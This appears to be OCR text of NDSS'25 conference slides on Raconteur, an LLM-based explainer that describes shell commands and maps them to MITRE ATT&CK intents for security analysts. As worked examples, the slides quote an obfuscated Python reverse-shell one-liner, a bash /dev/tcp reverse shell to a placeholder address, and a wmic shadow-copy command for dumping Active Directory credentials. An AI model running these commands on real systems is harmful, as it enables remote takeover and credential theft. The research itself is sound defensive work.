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Ongoing cyber-attacks pose significant threats
to organizations' data and assets

.‘h',
Potentially Malicious

— Commands ——

—— e
Respond
( quickly and effectively )

Security Operation Center (SOC)

Manual auditing on alerted shell commands is
a key part of security operation

BN SR

ANT GROUP 2



Shell commands are often used as springboards
for attackers to gain remote control

echo exec\(__import__\(\'zlib\"'\).decompress\(__import__\(\'base64\'\).b64decode\(__import__\(\'codecs\'\).getencoder\
(\'utf-8\"'\)\(\'eNpNUmFv2jAQ/dz8Cn+LPb10SEICVI1UIVamUkA1lUzchFIX401iY0IsDpUz773NgWp/0ON9796x7pxP7WjUt0kuxpdtMQxhQ/
a6to4hNYEdotFBVKqpCWQcZp6m41Kcp/uON7EM] jc6zqf/xZg38PoBu7b/
roli7mw@tGrwXQrfx2t4eh0SpqqGCxgb2NEmWqg2 IWcWnSDbFKHa831igQvkj j2EOGRETfxNcYejeiQEKSaa+7TgPpkZN1c+0FaS

+tG57GIbLWajVXVwqnFXbp8XiSL8WKWGvzo+aSrY3kJ+S4t W6 rbA/xt@xquBDGsSje@73icPlsPH100v 1iPrFuSs2y2jTP8UGyz81j 1
+qCEEVFhvhsEn8ptYFZxnkJGTfDjNfY/qGhubl/hao1Q3hSZyF15vSZi/CLgLh602ie0]7L3DtkgDC4Q6cwIOi+riW8wPZRtE7fj5gfIvw4TZ5mFEmxXA/
RgHCmCxqUZ0Dg9d8Dc7qIVVmSN+IBM+0t/rheEHgtCm2wsOEGOuxVgHHK1 rxvQG 1+3gW3DoAM5YMU6VIgu27bWI8 fxAuZ5b0gzr9cfDXgR70QPv6LV
+WBe IMM6/Xmux7vIX76V8zzyb4VNzHIkHBNzrH9iuMdK\ '\)\ [@\]\)\)\) | exec $(which python || which python3 || which python2) -

Figure: An example of reverse shell commands

Challenges: complex syntax and stealthy nature of
malicious cmds make them hard to understand

NDSS’25 Raconteur: A Knowledgeable, Insightful, and Portable LLM-Powered Shell Command Explainer C\\) s . /'”f i* . F é BRgEn 3



A desirable example of explanation

~

A Malicious Reverse Shell Command

. ( Step by step explanation:

bash -c ’0<&l37-j;exec 137<>/dev/tcp/ip_addr e bash —c: This command is invoking the Bash shell

/port;sh <&137 >&137 2>&137' and running a command within it.

e 0<&137-: This is redirecting file descriptor O (stdin)
to file descriptor 137 and closing file descriptor 137.
This is a common technique used in reverse shells to
redirect input/output to a network socket.

e exec 137<>/dev/tcp/ip_addr/port: This is

What do analysts want:
creating a new file descriptor 137 and opening a TCP

1 : Ste p by Ste p expla nation connection to the IP address ip_addr on port port.
2 Be haViO rsumma rization This is the reverse shell connection.

e sh<&137 >&137 2>&137: This is executing the shell

H ‘£ . command and redirecting input, output, and errors to
3' Intent (ta Ct|C & TeCh ) Ident|f|cat|0n file descriptor 137. This is the reverse shell payload.

Overall: The command is attempting to establish a reverse
shell connection to a remote host and execute a shell
command on that host. This could be used for malicious
| purposes such as remote access or data exfiltration.

Bottom-up
ana|ysis 4 Tactic: Execution Technique: Unix Shell
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A desirable example of explanation

. Step by step explanation:

bash -c ’0<&l37-j;exec 137<>/dev/tcp/ip_addr e bash —c: This command is invoking the Bash shell

/port;sh <&137 >&137 2>&137' and running a command within it.

e 0<&137-: This is redirecting file descriptor O (stdin)
to file descriptor 137 and closing file descriptor 137.
This is a common technique used in reverse shells to

A Malicious Reverse Shell Command

. . . redirect input/output to a network socket.
ObJeCtlve . e exec 137<>/dev/tcp/ip_addr/port: This is
H _ HF creating a new file descriptor 137 and opening a TCP
1' ComprehenSIveness faC”Itate connection to the IP address ip_addr on port port.
. ’ . This is the reverse shell connection.

com prehen5|0n Of Cmd S semad nt|CS. e sh<&137 >&137 2>&137: This is executing the shell
H _ H . command and redirecting input, output, and errors to

2' I“SlghthIneSS e|UC|date the taCtICS and file descriptor 137. This is the reverse shell payload.
tec h N | q ues Of ma | cm d S. Overall: The Fommand is attempting to establish a reverse
shell connection to a remote host and execute a shell

w

Correctness — fa ctua | |y correct command on that host. This could be used for malicious
’ purposes such as remote access or data exfiltration.
4. Portability — function within local env.

Tactic: Execution Technique: Unix Shell

NDSS’25 Raconteur: A Knowledgeable, Insightful, and Portable LLM-Powered Shell Command Explainer C\\) SRERMS RS a4 ﬂm}iup 5
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Raconteur: A Knowledgeable, Insightful, and Portable
Shell Command Explainer

Step by step explanation:

<explanation, behavior>
_» ?gzﬁagge;e::g Command Intent:
<T1548: XXXXXX>
@ <command> The command documentation is as
follows:<documentation> havi
Security Analyst UserQuery | | crrmmmmmmmmmmmmmmoioiiiooooees Behavior NﬂatChed: T1548
Answer the question below according
®—> to the documentation above: X
AL <user_query>
© 2 P
Doc-Augmented Prompt Template Command Behavior
;—l—; Alert Enhancer Explainer
%gg —»{ <command> Behavior
(== =] Encoder Description
Intrusion Detection
System (IDS) System Query @ Intent Identifier

Key components:
behavior explainer, intent identifier, doc-augmented enhancer

NDSS’25 Raconteur: A Knowledgeable, Insightful, and Portable LLM-Powered Shell Command Explainer C\\) BRI E SIS bl 4 BRED 6
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A Malicious Reverse Shell Command
B h s I s bash —-c ’0<&137-;exec 137<>/dev/tcp/ip_addr
enavior expiainer Jport;sh <a137 >£137 256137/
An Explanation on the Malicious Shell Command

Step by step explanation:

. e bash —c: This command is invoking the Bash shell
> Cha I Ienges' and running a command within it.

» Objective: Step-by-step exp. & Overall

‘/ . P e 0<&137-: This is redirecting file descriptor O (stdin)
D Ivers |f| ed user p rom ptS to file descriptor 137 and closing file descriptor 137.
This is a common technique used in reverse shells to

‘/ E nsu ri N g fa Ct ua | |ty redirect input/output to a network socket.

e exec 137<>/dev/tcp/ip_addr/port: This is
creating a new file descriptor 137 and opening a TCP

> Approach: connection to the IP address ip_addr on port port.
This is the reverse shell connection.
v Su pervised fine_tu ning (SFT) W|th 3 e sh<§137 >&137 2>&137: This is executing the shell
command and redirecting input, output, and errors to
ca refu | |y con St ru Cted d ata Set ] file descriptor 137. This is the reverse shell payload.

Overall: The command is attempting to establish a reverse
shell connection to a remote host and execute a shell

‘/ DataSEt prompt d|Ve rS|f|Cat|On d nd command on that host. This could be used for malicious
. . . purposes such as remote access or data exfiltration.
response professionalization.

Tactic: Execution Technique: Unix Shell
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Behavior explainer

ified user prompts

USER: <prompt1> -
Al: <answerl>

Prompt Diversification

Ask as many different
questions as possible —>

about ...

T1: Can you clarify <cmd>

T2: Please describe <cmd>

Expression Diversification uestion Augmentation

<prompt> Single-Round
Preprocess Response Professionalization J' T Dataset
Malicious Cmd (Cmd, Type, NL Desc.) |-+ <utility1>: <desc.u1> <response>
USER: < prompt1>

<param.1>: <desc.p1> Al: <answerl>

NL2Bash (Cmd, NL Desc.)

<prompt> USER: <prompt2>
<param.n>: <desc.pn> —» <meta-info> —p @ Al: <answer2>

+
Shell Script (Cmd, Comment) -+ <docs> ChatGPT Multi-Round
_|_

<utility2>: <desc.u2>
Y Dataset

PowerShell Script [l (Cmd, Comment)

Public Command Meta-Information Retrieved Knowledge-Infused
Libraries <meta-info> Documentation <docs> Prompt

Extract knowledge (meta-info) from code libraries to

NDSS’25 Raconteur: A Knowledgeable, Insightful, and Portable LLM-Powered Shell Command Explainer C\\) SRERMS RS . {jﬁiﬁ é BRER g



Behavior explainer

» Method: Full parameter fine-tuning ChatGLM2-6B
» Hardware: 4 NVIDIA A100 (80GB) GPUs
» Time: 4 days

» Training data: 232 million tokens
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Intent identifier

Reconnaissance

10 techniques

Resource
Development
8 techniques

Initial Access

10 techniques

ATT&CK Matrix for Enterprise

Tactics: “why”the commands-are performed.

Execution

14 techniques

Persistence

20 techniques

Privilege
Escalation
14 techniques

Defense Evasion

44 techniques

Credential

Discovery

Access

17 techniques

32 techniques

Lateral
Movement

9 techniques

Active Scanning (3)

Acquire Access

Gather Victim Host
Information (4)

Acquire
Infrastructure (g)

Gather Victim Identity
Information (3)

Compromise
Accounts (3

Gather Victim
Network
Information ()

Phishing for
Information (4)

Search Closed
Sources ()

Search Open
Technical
Databases (s)

Search Open
Websites/Domains (3)

Search Victim-Owned
Websites

Compromise
Infrastructure (g)

Content
Injection

Drive-by
Compromise

Exploit Public-
Facing
Application

External
Remote

Cloud
Administration
Command

Command and
Scripting
Interpreter (17)

Container
Administration
Command

es: “how’

Account
Manipulation (7)

BITS Jobs

Abuse
Elevation
Control
Mechanism ()

Boot or Logon
Autostart
Execution (14)

Boot or Logon
Initialization
cripts (.

Access Token
Manipulation (s)

Account
Manipulation (7)

Boot or Logon
Aujgst

Abuse Elevation
Control Mechanism ()

Adversary-in-
the-Middle (4)

Account Discovery (4

Access Token
Manipulation (s)

BITS Jobs
Build Image on Host

Debugger Evasion

mand

Accounts (3) Additions Client Execution Boot or Logon Deploy Container
Compromise Initialization
Obtain Phishing (4) u Inter-Process Host Software Scripts (5) Direct Volume Access
Capabilities (7 Communication (3 Binary
Replication Create or Domain or Tenant
Stage Through Native API Create Modify System Policy Modification ()
Capabilities (5) Removable Account (3) Process (s)
Media Scheduled Execution
Task/Job (s) Create or Domain or Guardrails (7
Supply Chain Modify System Tenant Policy
Compromise (3 Serverless Process (s) Modification () Exploitation for
Execution Defense Evasion
Trusted Event Triggered Escape to Host
Relationship Shared Modules Execution (17) File and Directory

Valid n

Software

External

Event Triggered
Execution (17

Permissions
Modification ()

Brute Force (4)

Application Window
Discovery

Credentials Browser Information

from Discovery

Password

Stores () Cloud Infrastructure
Discovery

Exploitation

for Credential

s.a

Cloud Service

Authentication Discovery

Forge Web Cloud Storage Object
Credentials (3 Discovery

Input Container and
Capture (4) Resource Discovery
Modify Debugger Evasion

Authentication
Process (g)

Device Driver
Discovery

Multi-Factor

Authentication
Interception

Domain Trust
Discovery

re.exec

Exploitation of
Remote
Services

Internal
Spearphishing

Lateral Tool
Transfer

Remote
Service

Remote
Services (g)

Replication
Through
Removable
Media

Software
Deployment
Tools

Taint Shared
Content

Use Alternate I

Tactics & Techniques from MITRE ATT&CK

NDSS’25 Raconteur: A Knowledgeable, Insightful, and Portable LLM-Powered Shell Command Explainer
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Techniques

Intent identifier e

Techniques: 14

T1651 Cloud may abuse cloud services to execute commands within virtual machines.
Administration Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely
Command run scripts in virtual machines by leveraging installed virtual machine agents

T1059 Command and Adversaries may abuse command and script interpreters to execute commands, scripts, of binaries.
Scripting These interfaces and languages provide ways of interacting with computer systems and are a common

Behavior desc. match Standard desc.

Key idea: of cmds " in MITRE ATT&CK

Inference Phase

Behavi T1003:0S Credential Dumping TAGOO6:Credential Access
ehavior i i i
<command> Prompt * d.ump cr‘edentlal_s to The adversary is trying
obtain account login and to steal account names
. credential material .. and passwords
System Query Behavior Desc. Command T1087
Prompt Explainer
Embedding Similarity Technique Identification Tactic Identification

Challenge:
there is a gap between two descriptions

NDSS’25 Raconteur: A Knowledgeable, Insightful, and Portable LLM-Powered Shell Command Explainer C\\) SRERMS RS ’fiﬂ:ﬁg é BREED 11




Intent identifier

{ Training Phase {

'Technique': 'T1003.001' 'Technique': 'T1003.001'

'Description’ 3 '.. Directory database T B Behavior Description 'Descr‘ipti-on': ‘cr‘eat.e a Volume Shadow Copy
NTDS.dit may be dumped by » Prompt [_b> using WMI, which can be used to dump
copying .." — Prof. the Active Directory database

"Command': 'wmic shadowcopy call Behavior Desc. ChatGPT Intent Matching NTDS.dit on a domain controller.'
create Volume=C:\\'} Prompt ’,——_ Dataset }

-
’
ATOMIC-RED-TEAM / METTA Tests ,/ MITRE ATT&CK Framework
4
4/
/ Inference Phase
/
! i
sehdl ' T1003:0S Credential Dumping TAGOO6:Credential Access
ehavior i i i
<command> Prompt * d.ump cr‘edentlalis to The adversary is trying
' obtain account login and to steal account names
. credential material .. and passwords
System Query Behavior Desc. Command BD2Vec ' * * passu
Prompt Explainer
Embedding Similarity Technique Identification Tactic Identification

t, = argmaxS(V(d),V(s;))

i€l

Bridging the gap by fine-tuning a Text2Vec model

NDSS’25 Raconteur: A Knowledgeable, Insightful, and Portable LLM-Powered Shell Command Explainer C\\) BRI E SIS g: A{fo:ns% é BuER



Doc-Augmented Enhancer (DAE)

» Objective: retrieving relevant info. from
command doc. for private & unseen cmds

Is(1) - Linux man page
Nai

Documentation

» Approach:

Chunking
v" Train a Text2Vec model for doc.
retrieving.

<utility>: { <cmd n>:[<desc _m>,..] I l<doc_chunk>
Rule-based "description”: .. ]
Extraction "options":[ <...>:[<desc 1>,..] <label>

<option_1>:<desc_1>, ——»| <cmd 3>:[<desc k>,..] <cmd>, <doc_chunk>, <label>
Linux Manual Pages ] <cmd 2>:[<desc j>,..] Training Data
} <emd_1>:[<desc_i>,..]
Structured Documentation Generated Commands

& Corresponding Docs

DAE enables explaining private shell cmds
that are not in public datasets

NDSS’25 Raconteur: A Knowledgeable, Insightful, and Portable LLM-Powered Shell Command Explainer C\\) SBEERTG RIS /'H*f i ﬂmﬁ‘iup
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Evaluation Setup

Evaluation Task Dataset

, Malicious Command Exp: ROUGE-1, ROUGE-2, ROUGE-],
Command Explanation BLEU-4, METEOR, CIDEr

& Classification : .
Benign Command  cls: ACC, Precision, Recall

Intent Identification metta dataset Top-k ACC

NDSS’25 Raconteur: A Knowledgeable, Insightful, and Portable LLIM-Powered Shell Command Explainer &) sErrmznns . f”/"} ? b BREED 14



Command Explanation

TABLE I: The Overall Performance of the Command Explainer.

\ Malicious Command* | Benign Command’
Model

| ROUGE-1 ROUGE-2 ROUGE-/ BLEU-4 METEOR CIDEr | ROUGE-1 ROUGE-2 ROUGE-¢/ BLEU-4 METEOR CIDEr
GPT-3.5-Turbo 48.7 24.3 34.5 36.3 39.1 30.2 54.3 27.0 35.2 29.5 40.9 16.8
GPT-4 45.5 20.3 30.5 40.5 32.5 14.6 51.8 25.8 36.2 34.2 34.5 12.0

hatGL.M2-6B 42.5 18.0 26.9 35.2 31.5 10.4 50.5 243 32.1 30.9 32.5 9.3

RACONTEUR 68.9 51.5 58.8 59.5 51.1 128.5 69.3 46.1 53.1 48.5 50.5 43.0 )
Increased® 62.1% 186.1% 1185%  69.0% 622% 1137.1%| 37.2% 89.7% 65.4% 57.0% 55.7% 362.9%
cf. GPT-4* 151.4% 253.7% 192.8% 1469% 157.1% 880.5% | 133.8% 178.7% 146.7% 141.8% 146.4% 358.7%

¥ Malicious Command consists of data from atomic-red-team, metta, and reverse—-shell.
T Benign Command consists of data from NL2Bash.

% Increased: the percentage improvement of RACONTEUR over the original ChatGLM2-6B model.
* cf. GPT-4: the achieved percentage of GPT-4 performance.

Improving the vanilla ChatGLM2-6B by
37.2%~1137.1%

NDSS’25 Raconteur: A Knowledgeable, Insightful, and Portable LLM-Powered Shell Command Explainer C\\) SBEERTG RIS AR LEL0S e
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Command Classification (use LLM as analyst)

TABLE III: End-to-End Evaluation of The Performance of the
Command Explainer.

| Classification Metrics

Model
| Precision (%) Recall (%) Accuracy (%)
GPT-3.5-Turbo 78.7 62.6 72.8
GPT-4 76.7 59.8 70.8
ChatGLM2-6B 77.6 47.1 66.7
( RACONTEUR 83.7 79.2 81.8 )

Effective in facilitating command comprehension for
identif ing malicious commands

& g @BEEE, 16




Intent Identification

TABLE V: Technique and Tactic Identification Performance
on the Original Test Set.

| Technique (ACC) | Tactic (ACC)
Model

| Top-1  Top-5 Top-10 | Top-1
GPT-3.5-Turbo 25.6 33.8 35.0 45.7
GPT-4 26.0 32.5 36.2 55.5
Sentence-T5,rge 45.4 80.1 87.3 69.4
GTR-T5x7, 50.8 79.6 87.5 70.5
SGPT 42.4 75.0 84.3 62.6
ESjarge 48.5 78.2 87.1 69.3
ESiarge (FT) 524 83.0 90.4 75.0

All five of our materializations of the intent identifier
show better erformance than baselines

m— :
2 (st @BBEE, 17



User Study

» 52 CS (under)graduates

Part 1: Rate at a scale of 1~5 points based on whether the explanation
helps them

1. understand the details
2. understand the intent
3. determine whether the command is malicious

Part 2: Compare two explanations and choose the one they prefer

NDSS’25 Raconteur: A Knowledgeable, Insightful, and Portable LLM-Powered Shell Command Explainer C\\) SE o= . r”f i* . F é BREED 18




User Study — I 5

2is . 428 4?84_ 94.36 24f34. el 4?34.?54- 74.50 s
4 304 399 4 4 :
22 3.203.183.19
5 3.16 .203.183.
2.99 2.97
o] o? o] }3
o [=} [=}
O 1) Q
n 24 n 21 n 24
M GPT-3.5 [ ChatGLM2 M GPT-3.5 EmH ChatGLM2 M GPT-3.5 [ ChatGLM2
GPT-4 [0 Raconteur GPT-4 [0 Raconteur GPT-4 [0 Raconteur
0 p— p— — p— p— p—
Malicious Command Benign Command Malicious Command Benign Command Malicious Command Benign Command
(a) Details of commands (b) Intents of commands (c) Malicious or benign
5
4.59 4.59 100
4?8 f 450%27
" 3.95 604 GPT-3.5 [ ChatGLM2
— GPT-4 Raconteur
X
3] 278l 288 = |
[} @ 60
S f g
(2] =4
24 @ 40
E 40
()
a
H GPT-3.5 =i ChatGLM2 20
GPT-4 [0 Raconteur
o — i ol 13 21.1
Malicious Command Benign Command vs GPT-3.5 vs GPT-4 vs ChatGLM2

(d) Correctness

(e) Preference

Raconteur excels in comprehensiveness, correctness,
insightfulness, and preference
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User Study

84.094.36
3'%
1 5 [ Chatt
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Malicious Command Benign Command

(a) Details of commands
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Malicious Command Benign Command

(b) Intents of commands

04
Malicious Command Benign Command

(c) Malicious or benign

5 100 @ T |
a4 o0 | GPT-3.5 ChatGLI
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<
31 j
1] o 60
5 g
0 c
2 9] i
s 40
()
a
H I Chat 20
771 Raco
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Malicious Command Benign Command vs GPT-3.5 vs GPT-4 vs ChatGLM2

(d) Correctness (e) Preference

Raconteur excels in comprehensiveness, correctness,
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Conclusion

» RACONTEUR provides high-quality explanations and insights for shell
commands, aiding security analysts in identifying potential cyber-attacks.

» We develop a holistic toolkit including behavior explainer, intent
identifier, and doc-augmented enhancer for RACONTEUR.
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Raconteur: A Knowledgeable, Insightful, and Portable
Shell Command Explainer

Contact us:
Project: https://raconteur-ndss.github.io/ chenyanjiao@zju.edu.cn

Q) USSLAB website:

www.usslab.org

kg Q) seRaEERRE (@ BusE
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